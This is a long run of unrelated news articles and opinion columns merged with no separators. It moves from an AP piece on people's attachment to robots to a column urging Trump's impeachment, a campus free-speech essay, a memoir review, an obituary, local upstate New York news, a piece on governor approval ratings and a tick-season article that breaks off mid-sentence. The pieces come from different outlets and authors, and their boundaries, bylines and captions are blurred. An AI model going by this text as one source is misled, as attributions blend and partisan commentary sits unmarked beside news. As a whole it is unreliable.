because it's your husband's dog. But then you realize you actually loved it all along." The Whites are far from the first to experience this feeling. People took to social media this year to say teary goodbyes to the Mars Opportunity rover when NASA lost contact with the 15-year-old robot. A few years ago, scads of concerned commenters weighed in on a demonstration video from robotics company Boston Dynamics in which employees kicked a dog-like robot to prove its stability. In this Nov. 21, 2017, file photo Massachusetts Institute of Technology professor and robotics researcher Cynthia Breazeal reaches to touch social robot Jibo at the company's headquarters in Boston. When robots move like humans and talk like humans, even if only a little bit, it's natural that we will treat them more like humans. (AP Photo/Steven Senne, File) Smart robots like Jibo obviously aren't alive, but that doesn't stop us from acting as though they are. Research has shown that people have a tendency to project human traits onto robots, especially when they move or act in even vaguely human-like ways. Designers acknowledge that such traits can be powerful tools for both connection and manipulation. That could be an especially acute issue as robots move into our homesparticularly if, like so many other home devices, they also turn into conduits for data collected on their owners. "When we interact with another human, dog, or machine, how we treat it is influenced by what kind of mind we think it has," said Jonathan Gratch, a professor at University of Southern California who studies virtual human interactions. "When you feel something has emotion, it now merits protection from harm." The way robots are designed can influence the tendency people have to project narratives and feelings onto mechanical objects, said Julie Carpenter, a researcher who studies people's interaction with new technologies. Especially if a robot has something resembling a face, its body resembles those of humans or animals, or just seems self-directed, like a Roomba robot vacuum. "Even if you know a robot has very little autonomy, when something moves in your space and it seems to have a sense of purpose, we associate that with something having an inner awareness or goals," she said. In this Nov. 21, 2017, file photo Becca Westelman, hands only, cleans the display on social robot Jibo at the company's headquarters, in Boston. When a robot "dies," does it make you sad? For lots of people, the answer is "yes"and that tells us something important, and potentially worrisome, about our emotional responses to the social machines that are starting to move into our lives. (AP Photo/Steven Senne, File) Such design decisions are also practical, she said. Our homes are built for humans and pets, so robots that look and move like humans or pets will fit in more easily. Some researchers, however, worry that designers are underestimating the dangers associated with attachment to increasingly life-like robots. Longtime AI researcher and MIT professor Sherry Turkle, for instance, is concerned that design cues can trick us into thinking some robots are expressing emotion back toward us. Some AI systems already present as socially and emotionally aware, but those reactions are often scripted, making the machine seem "smarter" than it actually is. "The performance of empathy is not empathy," she said. "Simulated thinking might be thinking, but simulated feeling is never feeling. Simulated love is never love." Designers at robotic startups insist that humanizing elements are critical as robot use expands. "There is a need to appease the public, to show that you are not disruptive to the public culture," said Gadi Amit, president of NewDealDesign in San Francisco. This Jan. 4, 2018 photo made available by NASA shows a view from the front Hazard Avoidance Camera of the Opportunity rover on the inboard slope of the western rim of Endeavour Crater on the planet Mars. People also took to social media this year to say goodbye to the Mars Opportunity rover when NASA lost contact on June 10, 2018, with the 15-year-old robot. (NASA/JPL-Caltech via AP, File) His agency recently worked on designing a new delivery robot for Postmatesa four-wheeled, bucket-shaped object with a cute, if abstract, face; rounded edges; and lights that indicate which way it's going to turn. It'll take time for humans and robots to establish a common language as they move throughout the world together, Amit said. But he expects it to happen in the next few decades. But what about robots that work with kids? In 2016, Dallas-based startup RoboKind introduced a robot called Milo designed specifically to help teach social behaviors to kids who have autism. The mechanism, which resembles a young boy, is now in about 400 schools and has worked with thousands of kids. It's meant to connect emotionally with kids at a certain level, but RoboKind co-founder Richard Margolin says the company is sensitive to the concern that kids could get too attached to the robot, which features human-like speech and facial expressions. So RoboKind suggests limits in its curriculum, both to keep Milo interesting and to make sure kids are able to transfer those skills to real life. Kids are only recommended to meet with Milo three to five times a week for 30 minutes each time. Explore further What is the value of a robot life? 2019 The Associated Press. All rights reserved. Photo: Andrew Harrer/Bloomberg via Getty Images The definition of appeasement, according to Dictionary.com, is to bring to a state of peace, quiet, ease, calm, or contentment; pacify; soothe: i.e. to appease an angry king and to yield or concede to the belligerent demands of (a nation, group, person, etc.) in a conciliatory effort, sometimes at the expense of justice or other principles. Thats where we are arent we? We are appeasing an angry king. And the usual result of appeasement is that the angry king banks every concession and, empowered and emboldened by his success, gets more aggressive and more power hungry. Far from restraining him, appeasement gives him time to amass strength, until theres no restraining him at all. By the time its absolutely clear that he is a tyrant, its too late. Thats the core narrative of every Shakespeare play that charts a historical bid for absolute power. And every one of those plays is a tragedy. This week, in the face of Democratic appeasement and Republican complicity, Trump has upped the ante once again. He is lying about the devastating proof of obstruction of justice in the Mueller report, as is his attorney general, the person supposed to defend the rule of law. He is again attempting to intimidate a witness to his abuses of power, this time Don McGahn. He is refusing to let anyone in his administration testify before the Congress, in an unprecedented act of contempt for the legislative branch. He is constantly hinting in his tweets that the DOJ should investigate what he has deemed spying on his campaign in 2016; hes tried multiple times to get the Justice Department to go after his political opponent, Hillary Clinton; and he has retweeted a list of those who should be targeted including Obama and Clinton for investigation. And now that he has a toady in the Justice Department, he may well get what he wants. (Can you believe we actually miss Jeff Sessions?) For good measure, his spokesman has said, revealingly, that the president is not inclined to release his tax returns at this moment, despite what appears to be a constitutional obligation. In the immortal words of Mel Brooks, its good to be the king! More to the point, he has refused to protect the American election system from the malevolent designs of a foreign enemy. Thanks to leaks, we know now that he has been doing this for the last two years, even though other members of the administration, like Kirstjen Nielsen, were prepared to take strong, defensive measures. Why? Because any mention of Russian interference reminds him of the question of his legitimacy, and that enrages him. Which is to say he has openly put his personal amour propre before the interests of every citizen in this country who wants to preserve our electoral integrity. This alone is an unambiguously impeachable offense. Congress should immediately subpoena Nielsen to testify about the presidents deliberate refusal to perform his core duties. I see no way Trump can actually stop her now she is outside the administration if she has the courage to expose the ugly truth. On Wednesday, the president again attacked the justice system, by impugning the integrity of a by-the-book investigation, lying about the lawyers who did their duty, and appealing to the Supreme Court (of all places) to stop impeachment: The Mueller Report, despite being written by Angry Democrats and Trump Haters, and with unlimited money behind it ($35,000,000), didnt lay a glove on me. I DID NOTHING WRONG, If the partisan Dems ever tried to Impeach, I would first head to the U.S. Supreme Court. Not only are there no High Crimes and Misdemeanors, there are no Crimes by me at all. All of the Crimes were committed by Crooked Hillary, the Dems, the DNC and Dirty Cops and we caught them in the act! We waited for Mueller and WON, so now the Dems look to Congress as last hope! This is, of course, deranged. Robert Mueller is neither an Angry Democrat, nor, so far as we can tell, a Trump hater. The Supreme Court has no role in impeachment. Obstruction of justice is a textbook case of a high crime and misdemeanor, as the articles of impeachment for both Bill Clinton and Richard Nixon quite plainly show. Mueller it is vital to keep repeating demonstrates that Trump attempted to obstruct justice on six occasions, and argues that several more cases of obstruction need to be taken seriously. In the case of Paul Manafort, it appears the president succeeded in thwarting the investigation by encouraging him not to cooperate. (Mueller: The evidence supports the inference that the President intended Manafort to believe that he could receive a pardon, which would make cooperation with the government as a means of obtaining a lesser sentence unnecessary.) But its telling, it seems to me, that in this tweet, Trump clearly regards the Supreme Court as his ultimate backstop because he has created a majority that he assumes will always defend him. His intent is to get another branch of the government on his team, i.e. under his direct control. Thats how he sees the federal courts as an extension of a strongmans will. So far, that hasnt been the case (in some instances, especially on immigration, the judicial pushback has actually been excessive) but with more and more judges chosen precisely because they do not believe in challenging executive power, it is seemingly Trumps intention that the judiciary will be his. In other words, hes slowly neutering the judicial checks and balances and defying the congressional ones. (As a way to nullify the Senates advice and consent function, for example, Trump increasingly relies on acting secretaries, appointed with no Senate approval and thereby even more vulnerable to Trumps personal leverage. As Trump explained, I like acting. It gives me more flexibility. Do you understand that? Yes, Mr. President, we do.) When you combine this looming scenario of a completely unaccountable president (outside presidential elections) with the powers of the presidency as they have evolved since the Second World War, you have a Turkey scenario. The GOP will not stand in the way of strongman rule, and will, in fact, try to buttress it. Even when Trump usurped the Congresss power of the purse by declaring a fake national emergency, 182 out of 195 Republican House members eagerly backed him, surrendering their constitutional power in favor of Trumps diktat. Just look at that sad sack, Lindsey Graham. Hes a man who insisted that perjury in a civil suit on sexual harassment was impeachable and led the prosecution in the Senate trial of president Clinton no less but that dangling pardons, intimidating witnesses, attempting to fire a special prosecutor, and threatening the integrity of the justice system, in Muellers devastating words, is no big deal. Thats the power of the Trump cult in the GOP base. The House Speaker, for her part, reacted to a report outlining ten cases of obstruction of justice (ten more than Clinton was accused of) by immediately dissing the idea of impeachment. Steny Hoyer firmly ruled it out. Their response to Mueller was, to my mind, incredible, but telling. I can fully understand taking your time. No one is asking for an impeachment vote yet just hearings including Trump officials who spoke with Mueller, in a consideration of impeachment. The Dems too often assume a defensive crouch, even when our Constitution is at stake. Against the Big Lie of No Collusion. No Obstruction, their message is muddled. They are beginning to wake up, but if a president wantonly obstructs justice and the opposition party immediately worries about the political cost of impeachment, were in deep trouble. Im no more optimistic about the likely result of impeachment than I ever have been. Even if the House were to approve articles of impeachment, I doubt Senator Mitch McConnell would follow what are the obvious constitutional obligations. McConnell has ripped up Senate rules when they might hurt the GOPs interests before remember Merrick Garland? Or the Supreme Court filibuster? And there is some wriggle room here. The Constitution does not explicitly mandate a trial in the Senate if the House approves articles of impeachment. It simply says the Senate has the sole power to try a president. You think McConnell would hesitate to use that nuance to shut any trial down before it started? Bob Bauer has noted: The question presented in some form would be whether, under the relevant rules, the Senate is required to hold an impeachment trial fully consistent with current rules or even any trial at all. A chairs ruling in the affirmative would be subject to being overturned by a majority, not two-thirds, vote. If you think McConnell would ever convene a trial, or that a majority would vote for it, youre underestimating the radicalism of the current GOP. Trump didnt invent the powers he is now abusing. The slow accretion of powers vested in the executive have been growing for quite a while, from the Second World War onward into the Cold War. But the 21st century has broken new ground. We know, for example, that the last president once stated he could not unilaterally change immigration law to prevent Dreamers from being deported because he is not a king, and then, in his second term, went ahead and did it anyway. We know he launched a new war against ISIS in 2015 based on the Authorization for the Use of Military Force of 2001 because the Congress abdicated its constitutional duty to declare war. What Trump demonstrates is that a brilliant demagogue with one partys cultlike support can use these extraordinary powers to install a version of a strongman presidency in the model of Erdogan in Turkey or Orban in Hungary. Only a massive public insurrection against strongman rule can begin to reverse this. Its not happening, but it needs to. The shock and zeal and passion so many felt in 2016 needs to be summoned again. The Congress needs to subpoena Don McGahn and Kirstjen Nielsen to testify about their experiences in the White House. They need to tell the story that Mueller has laid out, in vivid testimony day after day. They may well have to go to court to enforce their oversight role. The focus should be on Trumps claim to be beyond the rule of law. The Democratic candidates need to be clear about domestic policy and focus on it as a way to remove Trump by the ballot box but they shouldnt duck the gravity of our current constitutional crisis. Its real and its important. More sane right-of-center voices like that of the admirably sane Andrew Napolitano and David French need to explain that this is not about right or left, or Democrats or Republicans, but about the preservation of our republic. Mitt Romney has to do more than simply feel sickened. It took a long time for Nixons crimes to sink in with the public. But eventually they did. Yes, Trumps hegemony is strong, and getting stronger. He can bypass the television networks in ways Nixon couldnt have dreamed of. He has a very strong economy. He has successfully marginalized much of the mainstream media for half the country. He has a shamelessness that is rarely found, even the most vulgar and venal. He is prepared to push buttons in the national psyche that few sane or decent people would. He can seem, in his demagogic genius, intimidating. No one should be intimidated. And of course appeasement in the past has not always led to defeat. With a long, bitter, damaging campaign of resistance and counterattack, it can end in victory as well. Lets put aside all our differences on policy and politics, and together do our constitutional duty. Every hour. Every day. Until we have not only defeated this presidents assault on America but cast him and his party into the rubbish bin of history. Free Speech at Middlebury, Part Two In recent months, there have been both disturbing and hopeful developments around the barring of non-leftist voices on Western college campuses. The bans are no longer just on fascist clowns like Milo Yiannopoulos, but on serious scholars. My old professor, Harvey C. Mansfield, a man of profound learning, was invited and then disinvited to Concordia University in Canada to give an address on the role of great books in contemporary education because of his alleged (and, I can personally vouch, nonexistent) sexism, homophobia, etc., etc. Jordan Peterson was invited and then disinvited by Cambridge to do research for a semester, for roughly the same crimes against social justice ideology. Next up: Roger Scruton, perhaps the most profound and persuasive conservative philosopher in the West. He had an unpaid position to advise the British government by chairing an innocuous Building Better, Building Beautiful Commission. This time, he was fired after an unethically doctored interview was published by the deputy editor of the New Statesman, George Eaton. Eaton marked the occasion of a scholars downfall by posting a photo of himself downing a bottle of Champagne. And then Middlebury. Ah, yes, Middlebury, a fine school that has, in recent years, capitulated to the outrage mob. Middleburys latest strike against free discourse is the sudden disinvitation of one professor Ryszard Legutko, a reactionary Polish philosopher and sometime politician, who despises liberal democracy (which youd think the social justice crowd might approve of). Legutko, however, has no time for gay equality or visibility, because of his sincerely held orthodox Christian convictions, but he is nonetheless a serious scholar, specializing in ancient political philosophy, in particular Plato. He was also a hero of the Polish resistance to Communist rule and the editor of a samizdat publication. He was invited to speak at Middlebury, flew across the Atlantic, only to discover as he arrived in Vermont that his talk had been canceled for safety reasons. But the good news is that there are inklings of a pushback. At Middlebury, the students who were planning to protest Legutko were far more liberal than their college administrators: It is absolutely, unequivocally not the intent of this protest and those participating in this protest to prevent Legutko from speaking. Disruptive behavior of this nature will not be tolerated, wrote one of the student organizers. The inspired idea was to create a glorious festival of gay visibility outside the lecture, while Legutko spoke but not to shut him down, as the mob did with Charles Murray. Perfect. So when the administrators abruptly canceled the event, the students who wanted to engage Legutko did something remarkable. They asked their political science professor if he would host Legutko in their regular seminar. The invitation was unanimously supported by the students, the professor agreed, and the students spent one hour developing arguments in advance against Legutko, then heard him lecture and tackled him in vigorous debate. There was no safety issue whatsoever. In fact, students in other classes migrated to that seminar, the crowd growing as time went by. After Legutkos invite, the administration convened an emergency meeting with students. And in another encouraging sign, a rebel student secretly recorded it. Check out his video here and here. You can hear PC students arguing that gay students are too fragile to engage arguments against homosexuality, so distraught by even the idea of it that they could not study anything at all. Seriously. All those pioneering activists for gay equality, who risked their lives and careers for their cause and brought their arguments directly to the face of their opponents, should shudder at the insult. Legutko, of course, is no stranger to having his speech threatened. In Poland, the Communists did it, with the power of the state. Communist students would berate professors in class with the same arguments against a liberal education that todays social justice activists make. Legutko remembers them: Why teach Aristotle who despised women and defended slavery? Why teach Plato whom Lenin derided as the author of super-stupid metaphysics of ideas? Why teach Saint Thomas Aquinas, who was propagating anti-scientific superstition? Why teach Descartes who in his notion of cogito completely ignored the class struggle? In America, with the First Amendment, he is far freer. But its quite clear that college administrators, following critical race, gender, and queer theory, did all they could to silence him, just as the Polish Communists did. In the same samizdat tape, one professor, responding to the outrage at even inviting Legutko to speak, told the students: You should be outraged and we should acknowledge that and apologize for it. Ive long believed that at some point students would rebel against their new ideological overlords, like students always have. The desire to learn by engaging uncomfortable arguments rationally has been a deep one in the human psyche, since Socrates was executed for it. It is the root of liberal democracy. It is what universities are for. More and more are deciding to back the Chicago Principles, which guarantee that no speech can be suppressed on campus, within First Amendment limits. Sixty-two other institutions of higher learning have now adopted this principle, and the list is growing. If youre a student denied a free education by the social-justice fanatics, ask your college administrators if they would agree to sign on. As I used to say: know hope. I Was Merely Gliding on the Surface of Life There is a moment in Michael Brendan Doughertys piercing memoir, My Father Left Me Ireland, when he looks back on his life as a young man. He is tough on himself: Was I worth knowing? Not only was I painfully insecure, I was shallow. Someone who approaches life like a curator will exchange his faith for merely believing in belief. Hell substitute taste where conviction belongs. I was merely gliding on the surface of life. Dissatisfied with the shallows of our time, Dougherty becomes obsessed with the doomed Easter Rising in Ireland in 1917: the story of a crew of misfits and dreamers who dared to take a stand against British rule, and became icons of Irish history. They risked their lives for the idea of a free nation, a romantic, even mystical idea that he senses most of the elite in his generation, including in Ireland, find hard to understand at all. And throughout the short book, there is this deep longing for something ineffable, powerful, redemptive. And all he wanted was his father not to abandon him. The way in which his mother was cast aside after she became pregnant wounded her, eventually killed her, and stung him. He only came to know his dad, who lived in Ireland, at odd moments, for a few hours, in between long interludes. Each visit became freighted with impossible expectations, and followed by intense and abiding anger and grief. He writes this brutal reproach of his broken family in a series of letters directed entirely at his dad, who broke it. In a world in which much writing has the power of a Bud Lite, he offers us a strong draft of Guinness and not the kind they sell in Ireland today, which, he tells us, is crap. He comes to find meaning in Ireland, where his roots are, where his dad lives, learning the Irish language, memorizing old Irish songs, and exploring the Irish languages poetry which teemed with Jacobite fury and dark prophecies of the English being brought low into disgrace as scholars of the Irish language retake their place at the top of society. It was a way of connecting with his mostly absent father, and becomes a way, in due course, of connecting his newborn daughter to something wider and older than herself. Dougherty has come to feel, like some other conservatives, that our world is full of what Nietzsche called the last men aloof, materialist, smug, shallow moderns without sacrifice or even pain, anesthetized by prosperity and self-love. And he sees himself growing up as one of them. Upon his mothers death and this book is a heartbreaking poem to maternal love and sacrifice he finds himself alone. An atom that becomes separated from a larger chemical structure is called a free radical. And that is how I felt, supercharged with this urgent longing to reconnect to something larger. Dougherty writes beautifully, carefully, and with the kind of fluidity that the Irish have always been known for. The pain that our modern throwaway culture inflicted on him, and which is symbolized by his dads absence, drives this deeply personal story. It helps me understand the tenacity of his social conservatism and the power of national myths that give us far more meaning than money or status or a career. He longs for the religion that once caused people to fear and sacrifice; the patriotism that used to bring people together, past, present and future; and the unsparing, brutal demands of the old family structure, ruptured by the sexual revolution, leaving numbness behind. And he proves, above all, that among these last men all around us, rebels can still be found. See you next Friday. September 25, 1958 April 19, 2019 GRANVILLE Kent Daniel Roberts passed away peacefully April 19, 2019, surrounded by his family after a brief battle with cancer. He was born Sept. 25, 1958 in Granville, to William Daniel and Emma Dorothy Roberts. He graduated Granville High School in 1976 and entered the U.S. Navy in February 1977. Kent felt it was a true honor to serve his country. He was heartbroken when he was diagnosed with diabetes, deeming him unfit for sea duty, thus receiving an honorable discharge from the Navy in 1982. Upon leaving the military, Kent moved to San Angelo, Texas, where his mother and several of his siblings had relocated from upstate New York. Kent worked for what is now All American Chevrolet for a total of 32 years in the parts department. He was an avid race car fan and loved anything Chevrolet. Life was an adventure growing up as Kent was the fourth of eight children, six of the eight being boys. Growing up in upstate New York in a small community, he enjoyed the outdoors and all sports. He enjoyed camping, fishing, hunting and anything that brought family together. Kent was a great brother, someone who could always be counted on. While Kent did not have children of his own, he took pride in the time he spent with his nieces and nephews, teaching them valuable life lessons. Kent is preceded in death by his father and mother; and his oldest brother, Thomas Roberts. He is survived by his sister, Terry Dupont and husband, Neil of Middle Granville; brothers, John Roberts and wife, Jeni, of Gansevoort, Bill Roberts and wife, Kathy, of San Angelo, Texas, Scott Roberts and significant other, Mary Yu, of San Angelo, Texas and Russel Roberts and wife Lucy of Plano, Texas; and sister, Melissa Dean and husband, John, of San Angelo. He is also survived by 21 nieces and nephews. A memorial service will be held at 2 p.m. Saturday, April 27, at Harper Funeral Home. Per Kents request his remains will be brought back to Granville for a Navy burial with honors at a later date, where he will be laid to rest with his loved ones who have gone before him. MOREAU Facebook still hasnt responded to the many people who have asked it to intervene in the Landmark Motor Inn situation. Someone not a motel employee set up a Facebook site masquerading as the official motel site and has posted various derogatory comments about the motel and its owner. Comments included saying that owner Shawn Asghar did not care about the motel because hes from Pakistan. In person, he has been called anti-American and accused of not caring about the country. Asghar, for the record, is a longtime American citizen who moved to this country at 17. He is very proud of his adopted country and said, when he bought the motel a year ago, he was shocked to be met with racism after decades of living here. He had to fire several employees after they created a penny jar game to mock Pakistanis and began making racist comments about him to motel guests. At the time, he didnt realize the issue had gone public. But within two weeks of the first Facebook post in late March, the motel had a flood of cancellations. A guest pointed out the problem to the motel staff, saying he had seen the posts pop up when he was searching online for information about the business. The motel asked Facebook to take the page down a week ago, saying it had objectionable content. Facebook responded that the posts did not violate its community standards. But rule 18 in Facebooks community standards requires that all page owners actually represent the business they say theyre representing. Most people only know that the rule requires their personal page to have their real name, but the same rules apply to businesses, according to Facebook. Authenticity is the cornerstone of our community. We believe that people are more accountable for their statements and actions when they use their authentic identities, the rule reads. Landmark officials are reaching out to the Saratoga County Sheriffs Office to see if there is a legal remedy, such as slander, theft of the Facebook password or criminal impersonation. In the meantime, the reaction to the situation has left owner Shawn Asghar deeply appreciative of the community. He was overwhelmed by the number of people who came in to support him, said his general manager, Florence Sherman. The former owner, John Naja, also spoke in support of Asghar. You can say the former owner is very supportive of the new owner, he said, calling criticisms of Asghars Pakistani ethnicity extremely disgraceful. Asghar bought the business a year ago. The Facebook page was created about five months before that, while Naja was marketing the motel for sale. But Naja said he didnt know about the page and didnt have a password for it. Asghar said he didnt know it existed, either. No posts were made on it from the day it was created until March of this year, when the derogatory posts began. Some members of the community are now setting up an event at the Landmark to help Asghar build a stronger connection to his new neighbors. They are planning a Meet Shawn event at the Landmark on May 16. No details have been announced yet, but some businesses in the community plan to donate food and drink to the event. You can reach Kathleen Moore at 742-3247 or kmoore@poststar.com. Follow her on Twitter @ByKathleenMoore or at her blog on www.poststar.com. Love 6 Funny 2 Wow 1 Sad 0 Angry 1 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. GLENS FALLS After the 2016 presidential election, biologist Heather Mackey said she knew she wanted to do something to protect the things she cares about most. Thats why it made sense for Mackey, a Glens Falls native, to make the 1,200-mile arduous trek across the nations southern border, from El Paso, Texas to the Gulf of Mexico, with four others as part of a recently premiered documentary, The River and the Wall. For two-and-a-half months December 2017 to February 2018 the five friends undertook an immersive trek by horse, mountain bike and canoe, documenting the potential impact of a border wall on the nations last remaining wilderness along the Rio Grande. 'The River and the Wall' When: Saturday, May 4, 3 p.m. Where: Charles R. Wood Theater, Glen Street, Glens Falls Tickets: $12, www.tugg.com/events/the-river-and-the-wall-_d0g or call, 518-480-4878 Places they are targeting (for a border wall) are really important biodiversity areas, said Mackey on Thursday, explaining that a border wall would cut off access to the Santa Ana National Wildlife Refuge in Texas. Ninety percent of the refuge would be cut off and separated. Next Saturday (May 4), Mackey returns to the area for a Q&A session that will follow the 3 p.m. screening of The River and the Wall at the Charles R. Wood Theater in Glens Falls. The documentary premiered last month at the SXSW (South by Southwest) Film Festival in Texas, winning the Lewis Black Lone Star Award for work that critics said was the most important work at the festival. Mackey is busy moving this week to the state of Washington for her new role as a U.S. Fish and Wildlife Service biologist at the Julia Butler Hansen Refuge. She was selected for the documentary because of her wide-ranging scientific research in remote areas like Hawaii, Alaska and Texas, where she studied bird and butterfly communities in Big Bend National Park. Each character in the film was hand-selected by conservation filmmaker Ben Masters, who was one of the five travelers. The others were National Geographic explorer Filipe DeAndrade, ornithologist Mackey, river guide Austin Alvarado and conservationist Jay Kleberg. Along the way, the group interviewed dozens of people, including politicians like Democratic presidential candidate Beto ORourke and U.S. Rep. Will Hurd, R-Texas. They talked to ranchers, farmers, Dreamers and families living on both sides of the border. Heather Mackey Glens Falls native Heather Mackey said that the J.R.R. Tolkien quote Not all who wander are lost, fits her well. After graduating as salutatorian of Glens Falls High School in 2006, she followed her dream of becoming a biologist. Education: BS, Ecology and Evolutionary Biology from Cornell University MS, Ecology from California State University in Los Angeles Field biological research in a variety of remote locations including Kodiak Island, Alaska; the Galapagos Islands; the Australian rain forest; Maui, Hawaii Bird Project; Colorado; and Texas, to name a few. Most recently, she was a research fellow for the National Park Service, evaluating how invasive plant removal efforts on the Rio Grande in Big Bend National Park influenced the bird and butterfly communities. She also evaluated the habitat associations of the threatened western yellow-billed cuckoo. Currently on her way to a new post in Washington state as a biologist for the U.S. Fish and Wildlife Service Julia Butler Hansen Refuge. Mackey, who was the 2006 Glens Falls High School salutatorian, said growing up in Upstate New York, she had not been exposed to immigration issues. The stories of two of her follow travelers enhanced her awareness. It really hit home how much it affects everyone, she said. Filipes Mom brought him and his sister from Brazil, and he spent most of his childhood undocumented. For the first 15 years of his life, he was living in fear. And Austin came from Guatemala and his parents were undocumented, she said. Sometimes, people think of the border area as a flat wasteland, but there are huge spectacular cliffs, she said. I was amazed that the Rio Grande is so wild and beautiful, she said. Contrary to some news accounts, the connection between El Paso and Juarez, Mexico is like walking across the street for residents living on both sides, Mackey said, although the dynamic has been affected by recent crackdowns. It is one community with families living on both sides, she said. I dont think I realized this. Almost everyone they talked to did not want the wall. They want increased security, but didnt think that was the solution, she said. Rep. Will Hurd said, You cant treat the border as one size fits all. It doesnt make sense to build a wall. It is the most expensive and least effective way to handle the border. Mackey explained that the Rio Grande River is the border in many places and walls have already been built or are planned about a half-mile into the U.S. from the border, effectively ceding the land to Mexico. Landowners do not want to lose hundreds of acres to the federal government, and they would lose their only access to water, she said. They are irrigating with water from the Rio Grande. Most of this area is desert and the wall would cut off their only water source, cutting off the lifeblood. Kathleen Phalen-Tomaselli covers Washington County government and other county news and events. Love 4 Funny 2 Wow 0 Sad 0 Angry 3 Get local news delivered to your inbox! Subscribe to our Daily Headlines newsletter. Sign up! * I understand and agree that registration on or use of this site constitutes agreement to its user agreement and privacy policy. FORT EDWARD A Vermont man found driving with a blood alcohol content nearly triple the threshold for driving while intoxicated in Granville has been sent to state prison. He was pulled over by Washington County sheriff's officers after he was seen driving out of his lane. He had a BAC of 0.22 percent, and at least one prior DWI conviction, which led to felony charges being filed. WHITE CREEK The Route 67 bridge over the Battenkill Railroad and Owl Kill in the hamlet of Eagle Bridge will close for several months starting next week for a replacement project. The closure, which will start Wednesday, will last into October, according to the state Department of Transportation. The replacement of the 86-year-old bridge will result in separate detours being created for cars and trucks, with traffic estimates of 2,900 vehicles a day crossing the span. Route 67 is a heavily traveled state highway that runs east-west from Vermont into central New York. Cars and light trucks will be detoured using Turnpike Road and North Old State Road, while large trucks and tractor trailers will be detoured using Route 67, Route 40, Route 142, Route 7 and Route 22. White Creek Supervisor Robert Shay said in a news release that the DOT has had a number of meetings with residents to seek input. This is an important project not only because of the volume of local traffic, but also due to the popularity of the route with tourists visiting Washington County for a variety of purposes. It should be done just in time for the fall foliage tours, said Argyle Supervisor Robert Henke, chairman of the Washington County Board of Supervisors. The project is expected to cost $5.4 million. Love 0 Funny 0 Wow 0 Sad 1 Angry 0 Massachusetts Republican Charlie Baker is the most popular governor in America. Photo: Maddie Meyer/Getty Images In these days of intense partisan polarization, politicians who can appeal to voters across the red-blue divide sometimes seem to be few or far between. When, for example, Democrat Doug Jones won a Senate seat in bright-red Alabama in a 2017 special election, it was a very big deal, even though the peculiar nature of the GOP nominee (theocratic twice-removed-from-office judge accused of preying on very young women), Roy Moore, made it less shocking. But at the gubernatorial level, its an entirely different picture. As Morning Consults latest quarterly measurement of approval/disapproval ratings of the nations chief executives show, theres a hardy band of blue-state Republicans who are quite popular. Indeed, four of them (in order of popularity, Charlie Baker of Massachusetts, Larry Hogan of Maryland, Chris Sununu of New Hampshire, and Phil Scott of Vermont) are among the most popular five governors in the country. What makes the story even more interesting is that three of these governors have been elected and reelected in very blue states. Hillary Clinton beat Donald Trump by 27 points in Bakers Massachusetts, and by 26 points in Hogans Maryland and Scotts Vermont (Sununus Granite State is technically blue, having been carried by Democrats in the last four presidential elections, but it has been extremely competitive). A closer look at the dynamics of these states shows how these Republicans have thrived and survived. In the three very blue states mentioned above, the GOP is so weak that it has eschewed the usual conservative ideological litmus tests in favor of surviving on patronage from governors who are allowed to be as liberal as is necessary to win elections. They essentially serve as counterweights to heavily Democratic legislatures, without getting far from dead center. All of them (plus Sununu) are pro-choice, which becomes remarkable when you realize there is no longer a single pro-choice Republican in the U.S. House, and just two in the U.S. Senate. These are birds with highly adapative colors. No wonder one of them, Larry Hogan, has discussed running against Donald Trump in the 2020 GOP primaries without getting much guff from Maryland Republicans. Everyone understands that in the unlikely event Hogan takes the plunge, hed lose massively and immediately and then end the nonsense and come home. Outside this exotic four, there are no blue-state Republican governors at all, though it should be noted that six red-state Republicans are popular enough to give the GOP a clean sweep of the top ten (the most popular of these, Alabamas Kay Ivy, had the good fortune of replacing a scandal-plagued predecessor in that heavily Republican state). There are currently six Democratic governors serving in states that Trump won in 2016. Three of them (Tom Wolf of Pennsylvania, Tony Evers of Wisconsin, Gretchen Whitmer of Michigan), however, are from states Democrats regularly won before Trump, with the latter two taking office after the 2018 Democratic-wave elections. Another, Jon Bel Edwards of Louisiana, won in 2015 after scandal-plagued Republican senator David Vitter tried to replace failed Republican governor Bobby Jindal. Another, Roy Cooper of North Carolina, won a razor-close victory in the razor-close 2016 election in his state. The real outlier is Montanas Steve Bullock, who ran far ahead of the Democratic presidential candidates in his state in being elected in 2012 and reelected in 2016. No wonder hes thinking about a late entry into the 2020 presidential field. Bullocks tied with Delawares John Carney for the honor of having the best approval/disapproval ratio (54/28) among Democratic governors, far below Bakers 73/14 and Hogans 71/14, but not bad. The least popular governor is Republican Matt Bevin of Kentucky, at 33/52; unluckily for him and his usually dominant party, hes up for reelection this year. While the GOP governors at the top have to prove regularly that they are not slaves of their party, Bevin needs to show hes so nastily conservative that even Republicans find him embarrassing. It should be an easier task, but state politics are quirky enough that anything can happen. Its that time of year when you might feel that faint crawling feeling on your skin. Its so gentle, it could be a stray hair or piece of fuzz. But then you look down and there on your skin is what looks like a poppy seed with spindly legs, trekking across your arm like a triceratops in a forest. Its tick season. Whenever temperatures get above freezing, its tick season, but Holly Ahern said the lady ticks are especially hungry and looking to feed this time of year. Ahern is an associate professor of microbiology at SUNY Adirondack and one of the leading Lyme disease experts and advocates in New York. Its bad right now, she said about the ticks. Its only going to get worse, thats the bad news. Ticks carry a number of diseases, and research shows theyre carrying more lethal ones in the Adirondack region, too. The more notable concern is Lyme disease, which can be difficult to diagnose and even more tricky to treat. About 100,000 cases of Lyme were documented in New York last year, and Ahern said every tick bite carries a 50-50 chance of infection. Powassan virus is also a problem. Researchers from Paul Smiths College recently discovered that more ticks in the Adirondacks are carrying the lethal virus than previously thought. To protect yourself from tick-borne illnesses, Ahern recommends the three rs: repel, recognize and remove. Here are some ways to repel ticks and keep them from biting you in the first place, so you can enjoy the outdoors instead of, as Ahern put it, locking yourself in your home and setting your lawn on fire. Repel ticks from yourself Protecting yourself from ticks includes conducting a regular tick check, wearing light-colored clothing so you can see them easier, tucking your socks into your pants to protect your ankles and spraying yourself with Deet bug spray. Tick checks should include looking at your armpits, neck, belly button, ankles and other tricky places where ticks sometimes like to hide. Companies are also developing new methods to keep bugs away. Many outdoor stores now offer clothing treated with permethrin, a tick and insect repellent, or permethrin spray to treat your own clothes. The treatment usually withstands multiple washes. The treated clothing available is getting more stylish, too. A company called Peskys (peskys.com), started by a young woman who has suffered from Lyme disease, has developed a line of anti-tick jogging and yoga wear. Essential oils can be helpful for those looking for more natural solutions. Buzz Away Extreme is Deet-free, but includes citronella, geranium, 